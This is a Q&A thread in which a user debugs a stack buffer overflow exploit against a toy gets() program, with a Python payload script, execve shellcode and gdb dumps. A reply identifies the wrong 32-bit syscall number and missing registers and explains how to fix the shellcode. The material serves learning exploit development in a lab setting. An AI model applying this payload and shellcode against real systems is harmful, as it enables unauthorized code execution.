Reputation: 93
I'm trying to exploit the stack overflow vulnerability to get a shell. When i tried to run it, It shows illegal hardware instruction after executing the shellcode instead of giving a shell(error appears after int x80
(syscall to give shell)).
Source code :
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
compiled with no stack cookie,nx disabled and aslr is off
Disassembly:
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x080483c4 <+0>: push ebp
0x080483c5 <+1>: mov ebp,esp
0x080483c7 <+3>: and esp,0xfffffff0
0x080483ca <+6>: sub esp,0x50
0x080483cd <+9>: lea eax,[esp+0x10]
0x080483d1 <+13>: mov DWORD PTR [esp],eax
0x080483d4 <+16>: call 0x80482e8 <gets@plt>
0x080483d9 <+21>: leave
0x080483da <+22>: ret
End of assembler dump.
Stack after break point at 0x080483da(at ret instruction in above snippet) :
0000| 0xffffce6c --> 0xffffce76 --> 0x90909090
0004| 0xffffce70 --> 0x90909090
0008| 0xffffce74 --> 0x90909090
0012| 0xffffce78 --> 0x90909090
0016| 0xffffce7c --> 0x90909090
0020| 0xffffce80 --> 0x90909090
0024| 0xffffce84 --> 0x6850c031
0028| 0xffffce88 ("//shh/bin\211\343PTS\260"...)
My Exploit Code:
#!/usr/bin/python
import struct
buff = "A"*76 # filled with A
return_address = struct.pack("I",0xffffce76) # eip jumps on the nop slide(I've verified it)
nops = "\x90"*20
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80"
# shellcode is taken from http://shell-storm.org/shellcode/files/shellcode-749.php
print buff+return_address+nops+shellcode
shellcode in expanded form:
%define SYS_EXECV 59
section .text
global _start
_start:
xor eax, eax
push eax
push '//sh'
push '/bin'
mov ebx, esp
push eax
push esp
push ebx
mov al, SYS_EXECV
push eax
int 0x80
Dump after interrupt instruction:
0xffffce8f: add BYTE PTR [eax],al
0xffffce91: mov ebx,esp
0xffffce93: push eax
0xffffce94: push esp
0xffffce95: push ebx
0xffffce96: mov al,0x3b
0xffffce98: push eax
0xffffce99: int 0x80
=> 0xffffce9b: add BYTE PTR [eax],al
0xffffce9d: adc bl,bh
0xffffce9f: test DWORD PTR [eax],0x7e000000
0xffffcea5: jmp 0x1b81:0xe46e26f6
0xffffceac: add BYTE PTR [eax],al
0xffffceae: add BYTE PTR [eax],al
0xffffceb0: add BYTE PTR [eax],al
0xffffceb2: add BYTE PTR [eax],al
0xffffceb4: add BYTE PTR [eax],al
0xffffceb6: add BYTE PTR [eax],al
0xffffceb8: add DWORD PTR [eax],eax
0xffffceba: add BYTE PTR [eax],al
0xffffcebc: adc BYTE PTR [ebx+0x804],al
0xffffcec2: add BYTE PTR [eax],al
0xffffcec4: xor al,ah
0xffffcec6: (bad)
0xffffcec7: mul DWORD PTR [eax+0xf7fe88]
0xffffcecd: sar bh,1
0xffffcecf: test DWORD PTR [ecx],0x10000000
0xffffced5: add DWORD PTR [eax+ecx*1],0x0
0xffffced9: add BYTE PTR [eax],al
0xffffcedb: add BYTE PTR [ecx],dh
0xffffcedd: add DWORD PTR [eax+ecx*1],0xffffffc4
0xffffcee1: add DWORD PTR [eax+ecx*1],0x1
0xffffcee5: add BYTE PTR [eax],al
0xffffcee7: add BYTE PTR [edi+ecx*8],al
0xffffceea: (bad)
0xffffceeb: push eax
0xffffceed: add DWORD PTR [eax+ecx*1],0xffffffe0
0xffffcef1: add DWORD PTR [eax+ecx*1],0xffffffa0
0xffffcef5: mov dh,bh
0xffffcef7: idiv esp
0xffffcef9: into
0xffffcefa: (bad)
0xffffcefb: call FWORD PTR [eax]
0xffffcefd: fcos
0xffffceff: test DWORD PTR [ecx],0x7000000
Registers:
EAX 0x0
EBX 0xffffce64 ◂— 'Linux'
ECX 0xf7fb15a0 (_IO_2_1_stdin_) ◂— mov byte ptr [eax], ah /* 0xfbad2088 */
EDX 0xf7fb287c (_IO_stdfile_0_lock) ◂— 0
EDI 0xf7fb1000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
ESI 0xf7fb1000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
EBP 0x41414141 ('AAAA')
ESP 0xffffce54 ◂— 0x3b /* ';' */
*EIP 0xffffce9b ◂— 0xfb100000
Upvotes: 2
Views: 4095
Reputation: 364049
%define SYS_EXECV 59
: no, that's __NR_oldolduname
in unistd_32.h
(which is the one that applies for int 0x80
). __NR_execve
is 59 for the x86-64 syscall
ABI. (unistd_64.h
). What are the calling conventions for UNIX & Linux system calls on i386 and x86-64.
You also didn't pass anything for the 2nd two args of execve(const char *filename, char *const argv[], char *const envp[])
. ECX and EDX were probably non-zero but not valid pointers, so sys_execve
would have returned -EFAULT
.
Your register dump shows EAX=0
because you made the wrong system call. oldolduname
(eax=59/int 0x80
) is presumably an old version of uname
, so it stored an old version of struct utsname
on the stack, in the memory buffer pointed to by ebx
. And it did so successfully, so it returned 0
in EAX.
Use strace
to see what system calls your code makes.
Your code might work if you add xor ecx,ecx
and xor edx,edx
, and change the system call number to 11
for sys_execve
.
Upvotes: 2